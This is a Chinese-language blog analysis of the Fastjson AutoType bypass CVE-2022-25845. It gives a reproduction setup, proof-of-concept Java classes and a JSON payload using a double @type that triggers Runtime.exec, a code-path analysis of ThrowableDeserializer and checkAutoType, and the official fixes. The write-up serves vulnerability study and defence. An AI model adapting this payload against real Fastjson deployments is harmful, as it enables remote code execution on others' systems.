Fastjson 代码执行 CVE-2022-25845

VSole2022-07-21 13:13:35

漏洞简介

Fastjson 代码执行漏洞,该漏洞允许攻击者绕过 Fastjson 中的"AutoTypeCheck"机制并实现远程代码执行

影响版本:1.2.80及以下版本,即<= 1.2.80

漏洞复现

我们利用 idea 创建 maven 项目 搭建漏洞环境,在 pom 文件中添加

    com.alibabagroupId>    fastjsonartifactId>    1.2.82version>dependency>

 创建文件夹 com.example.fastjson

 在下面添加两个 java 文件

package com.example.fastjson;
import java.io.IOException;
public class Poc extends Exception {    public void setName(String str) {        try {            Runtime.getRuntime().exec(str);        } catch (IOException e) {            e.printStackTrace();        }    }}
package com.example.fastjson;import com.alibaba.fastjson.JSON;
public class PocDemo {    public static void main(String[] args) {        String json = "{\"@type\":\"java.lang.Exception\",\"@type\":\"com.example.fastjson.Poc\",\"name\":\"calc\"}";        JSON.parse(json);    }}

 运行 PocDemo

 

漏洞分析

AutoType

我们知道在 fastjson 1.2.25 后设定了 autoType 只有打开 autoType之后,fastjson 是基于内置黑名单来实现安全的,如此可能会造成安全风险,就是绕过黑名单

不开启时,是基于白名单进行防护的,这个漏洞的产生就是未开启 autoType 时产生的。

但是未开启 autoType 时是基于白名单,是很难实现代码执行的,所以我们就需要想办法 Bypass AutoType 默认禁用策略,可以实现调用任意类

开启 autoType 后,最终调用的是 config.checkAutoType

com.alibaba.fastjson.parser.ParserConfig#checkAutoType(java.lang.String, java.lang.Class, int)

 

 其中声明了各种被黑名单列入的类,是通过十六进制来记录各种类,可以在 fastjson-blacklist,看到具体类的名称

Throwable

 我们注意到在 com.alibaba.fastjson.parser.deserializer.ThrowableDeserializer#deserialze 中也同样调用了 checkAutoType

 

 

 同时我们可以发现在 com.alibaba.fastjson.parser.ParserConfig#getDeserializer(java.lang.Class, java.lang.reflect.Type) 会检测目标类中是否属于Throwable 的扩展,之后就会调用 ThrowableDeserializer.deserialize()

 

 所以初步得出结论,如果目标类属于 Throwable 的扩展类,就可以实现打开autoType的类似操作,去调用任何类

 

 为了验证这个猜测,我们修改一下文件

package com.example.fastjson;
importjava.io.IOException;
publicclass Poc extendsError {    publicvoidsetName(String str){        try{            Runtime.getRuntime().exec(str);        }catch(IOException e){            e.printStackTrace();        }    }}

 

 依然可以利用成功

 继续关注函数 com.alibaba.fastjson.parser.ParserConfig#getDeserializer(java.lang.Class, java.lang.reflect.Type) 会调用 createException 去创建反序列化函数

 

 com.alibaba.fastjson.parser.deserializer.ThrowableDeserializer#createException

 

 最后还是在函数 com.alibaba.fastjson.parser.ParserConfig#getDeserializer(java.lang.Class, java.lang.reflect.Type) 中实现了代码执行

 

如此整个漏洞就分析完成了

漏洞修复

 官方提供了以下四种修复方式

•升级到最新版本1.2.83

•safeMode加固

•升级到fastjson v2

•noneautotype版本

总结反思

整个漏洞的分析花了很多时间,根据参考文章 CVE-2022-25845 – Analyzing the Fastjson “Auto Type Bypass” RCE vulnerability 来来回回加断点调试了很久。对这个漏洞做一个自己的总结。

在默认未开启 AutoType 时,Fastjson 是基于白名单的获取外部类,通过 搜索? checkAutoType 发现ThrowableDeserializer#deserialze 中的调用,当然也不止这一处,只是这处能进一步的利用,通过满足类属于 Throwable 的扩展类就可以触发,最后实现代码执行。但是这个代码在实际场景中的利用要求较为苛刻,首先满足类是 Throwable 的扩展类,同时其中必须有危险的 set 方法。

fastjson
本作品采用《CC 协议》,转载必须注明作者和本文链接
1. 根据现有payload,检测目标是否存在fastjson或jackson漏洞(工具仅用于检测漏洞)2. 若存在漏洞,可根据对应payload进行后渗透利用3. 若出现新的漏洞时,可将最新的payload新增至txt中(需修改格式)4. 工具无法完全替代手工检测,仅作为辅助工具使用
FastJson结合二次反序列化绕过黑名单
现有的fastjson扫描器无法满足迭代速度如此快的fastjson版本,大部分扫描器早已无人维护,已不适配高版本。我将持续优化此系列项目。延迟检测TODO适配内网环境下的探测适配webpack做自动化扫描完善DNS回显探测依赖库的探测完善在61版本以上并且不出网的检测方式完善其他不同json解析库的探测 完善相关依赖库检测如果在使用过程中有任何问题欢迎提出issues?
漏洞分析花了蛮多时间
fastjson反序列化已经是近几年继Struts2漏洞后,最受安全人员欢迎而开发人员抱怨的一个漏洞了。
鉴于该漏洞影响范围极大,建议企业尽快做好自查及防护。
近期,启明星辰集团北冥数据实验室在漏洞监控中发现fastjson官方发布公告称,fastjson 1.2.80及以下存在新的风险,并在第一时间对fastjson官方发布的安全公告进行分析研判,结合泰合盘古平台(THPangu-OS)的底座能力,为广大用户给出应急处置指引方案。
Fastjson 反序列化远程代码执行漏洞 Fastjson 是一款开源的高性能 JSON 解析处理库,在国内被广泛使用。5 月 23 日,Fastjson 官方发布安全通告,声明修复了一处新的反序列化漏洞: https://github.com/alibaba/fastjson/wiki/security_update_20220523
Fastjson 漏洞利用技巧
2022-05-08 15:26:11
Fastjson自动化检测及简化攻击步骤,让你更有效率的Tips。
STATEMENT声明由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,雷神众测及文章作者不为此承担任何责任。雷神众测拥有对此文章的修改和解释权。如欲转载或传播此文章,必须保证此文章的完整性,包括版权声明等全部内容。未经雷神众测允许,不得任意修改或者增减此文章内容,不得以任何方式将其用于商业目的。
VSole
网络安全专家